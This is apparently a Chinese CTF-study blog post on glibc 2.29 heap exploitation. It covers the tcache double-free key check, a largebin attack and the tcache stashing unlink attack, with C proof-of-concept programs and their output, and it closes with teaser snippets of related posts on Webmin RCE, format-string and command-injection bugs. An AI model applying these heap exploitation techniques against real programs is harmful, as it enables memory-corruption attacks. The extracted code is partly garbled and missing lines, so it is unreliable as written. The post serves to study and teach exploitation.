libc 2 29漏洞利用及原理

2021-10-04 08:15:27 字數 2803 閱讀 4758

部落格位址

還是在csdn裡訪問方便點。

在libc2.27中,由於對tcache缺少充分的檢查,導致double frees橫行,在libc2.29中對tcache新增了一些東西。

malloc.c->2904行

typedef struct tcache_entry

tcache_entry;

如原始碼,tcache結構體新增了乙個key欄位來防止double frees在free函式中,

malloc.c->4189行

#if use_tcache

if (tcache->counts[tc_idx] < mp_.tcache_count)}}

1.free乙個chunk

2.能夠修改已經free的chunk的key值

實現了chunk重疊

在libc.2.29中對於unsortbin的解鏈新增了驗證鏈完整性的檢查,讓unsortbin attack直接涼透透了。

將vistim插入large中時,發生漏洞,

#include #include size_t buf[0x10];

int main()

結果:

starssgo@ubuntu:~/ctf_study/large_bin_attack$ ./mode

buf[4]:0x0

buf[4]:0x555a004a66b0

1.largebin中的chunk->fd_nextsize=0;

2.largebin中的chunk->bk_nextsize可控制;

3.unsortedbin裡的chunk大於largebin,並且如果進入largebin,是同乙個index。

1.smallbin中可以控制大小為size塊的bk指標

2.tcache中size塊的個數為6

3.申請堆塊是calloc結果

bk指標的fd處被寫入乙個libc位址

參考

#if use_tcache //如果程式啟用了tcache

/* while we're here, if we see other chunks of the same size,

stash them in the tcache. */

//遍歷整個smallbin,獲取相同size的free chunk

size_t tc_idx = csize2tidx (nb);

if (tcache && tc_idx < mp_.tcache_bins)}}

#endif

#include #include size_t buf[0x10];

int main()

ptr=calloc(0x400,sizeof(char));//填滿0x400 size 的 tcache

calloc(0x10,sizeof(char));

ptr2=calloc(0x400,sizeof(char));

free(ptr);

ptr=calloc(0x400,sizeof(char));

calloc(0x10,sizeof(char));

free(ptr);

calloc(0x300,sizeof(char));

calloc(0x300,sizeof(char));//ptr[96]指向的chunk進入smallbin

sleep(0);

free(ptr2);

calloc(0x300,sizeof(char));

calloc(0x300,sizeof(char)); //ptr2[96]指向的chunk進入smallbin

ptr2[99]=&buf[0];// 更改chunk的bk為buf

printf("buf[2]=>0x%llx\n",buf[2]);

calloc(0xf8,sizeof(char)); //申請,觸發unlink

printf("buf[2]=>0x%llx\n",buf[2]);//buf->fd=乙個libc位址

sleep(0);

return 0;

}

測試結果
starssgo@ubuntu:~/ctf_study/tcache_stashing_unlink_attack$ ./mode

buf[2]=>0x0

buf[2]=>0x7fc97b6d1d90

無意間發現的large bin attack在libc.2.30裡已經失效,但是tcache stashing unlink attack還可以用,所以這個洞對於使用calloc來申請記憶體的程式是乙個挺大的威脅,本應該更加安全的做法卻讓程式變得更加危險,所以這個洞雖然使用條件很苛刻,但卻不容忽視。

webmin RCE漏洞利用及分析

webmin是目前功能最強大的基於web的unix系統管理工具。管理員通過瀏覽器訪問webmin的各種管理功能並完成相應的管理動作。利用條件 webmin 1.910 原因 官網 sourceforge 中存在漏洞,github 中無漏洞,為後門植入,不得不佩服這些老外真會玩,看了一堆大神分析,自己...

格式化漏洞利用原理

在printf 函式正常使用中,printf s printf s s 都能夠輸出s字串的值,但如果在s字串中存在 計算機無法判斷是否為引數,所以可以在printf s 中s填入帶有 的符號,能達到洩漏位址的作用。一般我們想要洩漏棧上多個位址,往往可以採用輸出多個 x來達到。如果想直接獲得某個位址,...

命令執行漏洞介紹及利用

目錄 命令執行漏洞原理 產生原理 php下命令執行函式 命令執行漏洞 分析 例項演示 獲取網絡卡資訊 命令執行漏洞利用思路 命令執行漏洞拼接符介紹 命令執行示例 分析 例項演示 拼接符使用 web應用程式接受使用者輸入,拼接到要執行的系統命令中執行 1.使用者輸入未過濾或淨化 2.拼接到系統命令中執...